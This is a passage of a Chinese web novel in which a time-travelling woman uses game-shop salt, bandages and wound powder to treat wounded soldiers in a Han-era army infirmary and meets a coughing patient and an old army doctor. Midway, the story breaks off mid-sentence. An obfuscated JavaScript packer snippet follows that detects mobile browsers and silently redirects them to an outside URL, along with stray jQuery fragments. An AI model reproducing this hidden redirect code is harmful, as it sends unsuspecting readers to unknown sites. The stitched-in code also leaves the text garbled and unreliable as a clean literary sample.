楚凝霜:“那正好,明天一早你能送些烧开放凉的水过来吗?送去伤病营,水要越多越好。”


    “伤病营?”兵士瞬间紧张起来。


    “女郎可是伤到哪了?要不要紧?”


    完了完了,大将军和校尉都让他好好保护女郎啊啊啊——


    “我没事。”楚凝霜连忙解释。


    “辎重营的事告一段落,从明天开始,我准备去伤病营帮忙,那里缺人手。”


    兵士松了口气。


    “原来如此……但伤病营……”


    楚凝霜:“有什么问题?大将军不让我去吗?”


    “那倒不是。”兵士犹豫开口。


    “但伤病营里,有些人的病可能会传染,女郎身份尊贵,万一…”


    “无妨,我会很小心的。”楚凝霜保证。


    “那里的方军医都不怕被传染,我自然就更不怕了。”


    兵士还想再劝,但楚凝霜态度坚决,他只好答应明天一早送水过去。


    楚凝霜:“要烧开放凉的,你也注意不要被烫伤。”


    “是!小的记下了。”


    兵士红着脸点点头,又在帐篷外守了会儿,拿到楚凝霜吃剩的托盘便跑走了。


    帐篷里,楚凝霜没有睡,拿起密封着大蒜油的罐子摇晃几下,又开始新一轮捣蒜做大蒜素的循环。


    …


    天刚蒙蒙亮,楚凝霜就踩着晨露,来到了伤病营。


    不远处,几个轻伤的兵士已经在活动了,有的在慢慢走动,有的在相互帮忙换药。


    在她走近时,那些目光落在她身上,带着好奇和困惑。


    她重新绕了一圈伤病营,发现昨晚没观察到的一处地方。


    原来这里有烧水做饭的露天灶——也就是两个大陶罐放在垒起的石头上,旁边零散放着些柴火。


    一个老兵正蹲在地上生火,烟熏得他直咳嗽。


    “我来吧。”楚凝霜走过去,接过他手里的燧石。


    老兵愣了愣,让开位置,诧异地看她。


    那眼神里,既有困惑,又有怀疑。


    楚凝霜看着不像是会生火的人,倒应该住在宅子里,当个抚琴闲适的贵女。


    但楚凝霜很快就把火生起来了。


    “你打算做什么,烧水?”


    老兵反应一会儿,“呃,做饭。”


    他把手里紧抓的一袋粟米往前递了递。


    “好,那你做饭吧。”


    楚凝霜没接,起身离开时,伤病营外走进来几个挑担的兵士。


    “女郎!”昨晚送饭的那人招呼道:“您要的水,还热乎呢。”


    说着,他放下手,又从怀里掏出个用油布包好的饼子,“这是今早的饭。”


    “多谢,你们吃了吗?”


    楚凝霜接过饼子,咬了一口问。


    “等会再吃也不迟。”兵士无所谓地摆手。


    “女郎还有什么吩咐?”


    “没事了,你们快去吃饭吧,辛苦你们了。”


    “不辛苦,不辛苦。”


    众人连连摆手。


    一人拱手道:“倒是这里的弟兄们,辛苦女郎费心了。”


    “……放心吧,我会尽力的。”


    楚凝霜保证道。


    那几人来得快,跑得也快。


    远远还能听到他们兴奋的讨论声。


    “第一次有贵人这么客气地跟我说话。”


    “女郎真漂亮,又温柔又漂亮!”


    “行了行了,小点声,也不怕被人听见。”


    这就算客气了?


    楚凝霜摇头笑笑,提着两桶还温热的水,进了最近的帐篷。


    在其中一桶水里,她估摸着倒了些盐,不是这时代的劣质盐,而是从游戏商场购买的精盐。


    虽然无法精确调配出生理盐水,但给病人喝些淡盐水,还是能补充体力,强健身体的。


    白如雪的精盐倒入温水里,迅速便化开了。


    楚凝霜用桶里带着的长柄木勺搅了搅,倒进自己带来的陶碗里,拿去给帐篷中的病人们喝。


    那个躺在最外面的年轻兵士是腿受了伤。


    昨日还能动动眼睛看他们,今天却紧闭着双眼艰难喘息,嘴唇干裂得像是被人撕开的一样。


    楚凝霜蹲下,用手试了试他的额头——烫得吓人,应该是伤口发炎引起来的。


    她把碗放到一边,搀扶起他的上半身,又拿起碗,把碗沿凑到他唇边。


    “能听到我说话吗?张嘴,先喝点水。”


    兵士迷迷糊糊地睁开眼,本能地张嘴。


    盐水顺着喉咙流下去,他呛了一下,又喝了几口。


    楚凝霜把他放回去,从自己随身的包里取出早已准备好的绷带和金疮药。


    在游戏里使用后能立刻回血的金疮药,到了这里就变成了正常的金疮药。


    她昨晚用自己的胳膊试过,划了道口子后撒上金疮药,伤口很快止了血,但今早看的时候,却依旧有一道明显的伤。


    她心里有数了。


    汉朝也有金疮药,她的不过是效果更好一些。


    若是军医问起,她甩出《赤脚医生手册》《本草纲目》之类的医书,完全能糊弄过去。


    至于游戏里绷带的材质,就是普通的布,没什么不好拿出来的。


    将对方的伤腿重新上药包扎后,楚凝霜继续去下一个人那里。


    那个半边脸被布条包着的伤员还像昨晚一样,露出的那只眼睛依旧睁着,望着棚顶,死寂死寂的。


    楚凝霜过去蹲下,轻轻揭开他脸上的布。


    布下面是一道狰狞的刀伤,从眉骨一直划到下颌,伤口边缘红肿发亮,有些地方已经开始化脓。


    那人一动不动,任由她看。


    楚凝霜也不说话,看过后直接拆开布条,将那道伤口彻底暴露出来。


    她浸湿一块布,一点一点地清洁伤口周围的脓液。


    没有麻药的当下,对方肯定很疼。


    但他始终没有动,只有那只望着帐顶的眼睛,缓慢地下移,看向她。


    她脸上没什么表情,目光平静认真,好像一点也不觉得那伤口恶心恐怖。


    将伤口清洁干净后,敷上金疮药,再用干净的布重新包好。


    “明天再换。”


    楚凝霜问道:“还有别的地方有伤吗?”


    兵士的脑袋摇了摇,眼睛仍盯着她。


    “我…能活?”他好久没开口了,声音沙哑得几乎听不清。


    楚凝霜望着他,笃定地说。


    “能活。”


    兵士闭上眼睛,不再说话。


    ……


    从第一个帐篷,到最后一个帐篷,哪怕楚凝霜仅仅只是换个药和绷带,给他们喝点水,时间就已经过去一个上午了。


    太阳高


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318286|198678||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    高挂在头顶的时候,她终于来到了最后一个帐篷前。


    正要进去时,一人喊道:“女郎,别进去!”


    她停住脚步,困惑看去。


    就见那个早晨生火时见过的老兵一瘸一拐地赶过来。


    “别…别……”他摆手道,声音压得很低。


    “这里面是会传染的,就是…就是传尸。”


    传…尸?


    帐篷里传出剧烈的咳嗽声。


    楚凝霜心下恍然,莫不是肺结核吧?


    那确实很糟,古代十痨九死可不是说说而已。


    一旦被确诊为肺结核,患者就会在咳血、消瘦、潮热中慢慢耗干生命。


    不过,只要还没咳血,就说明情况还没那么严重。


    或者那根本不是肺结核,就是感冒或气管炎之类的。


    想到此,她还是决定进去看看。


    昨晚方军医就是从这个帐篷里出来的,对方没戴口罩也不怕传染,她一个年轻人没道理比一个老人家还虚弱吧。


    “放心吧,我进去看看就出来。”


    楚凝霜安慰一句,义无反顾地进了帐篷里。


    帐篷的帘子门一直都是向上卷起来的,里面光线还可以,能看清躺在其中的人。


    只有一个瘦弱的兵士,看眉眼相当年轻,蜷缩在角落里,不停地咳嗽。


    每咳一声,肩膀就剧烈地抖动一下。


    楚凝霜走过去,蹲在他面前。


    “咳了多久了?”


    兵士抬起头,眼神惊恐又茫然。


    楚凝霜没有等他同意,轻轻拉过他捂着嘴的手。


    手很脏,但手心没有血,是个好现象。


    她看了看他的脸色,又试试他的额头。


    同样很烫。


    “咳了多久了?”


    她又问。


    兵士摇摇头,不知道是咳得没法说话,还是在表示不知道。


    他就只是看着她,眼睛里有泪光,但没哭。


    “五六天了,喝了药也不见好转。”


    一道声音代替兵士做了解答。


    楚凝霜并不意外,对方进来时她就已经察觉到了。


    在她检查兵士情况的时候,那人默不作声地审视着,直到此刻才开了口。


    楚凝霜看去,果然是方军医。


    “方军医。”


    老头背着一个木箱,模样比昨晚见过的时候还要老上几分。


    他昨夜很晚才回去休息,今天本想早些来,但实在是老了,身体吃不消,这才到了现在才赶过来。


    一进来伤病营,方军医就明显感觉到气氛的不同。


    那些轻伤兵士凑在一起嘀嘀咕咕,时不时朝一个方向望去,眼中有莫名的神采。


    又有一个人瘸着腿过来,神色急切。


    “方军医,您可来了!”


    “这么急做什么,我还不能睡个懒觉了。”


    方军医捻着胡子,脚步却是快速地进了一个帐篷里。


    瘸腿老兵追着解释。


    “今早女郎来了,就是那个——军营里一直在说的楚氏,她…”


    “这是她做的?”


    方军医打断了老兵的话。


    他看着帐篷里的伤兵们,他们的伤口都换了新绷带,洁白的,显得和脏乱的帐篷格格不入。


    那包扎手法,一看就是行家里手,没有半点可以挑剔的地方。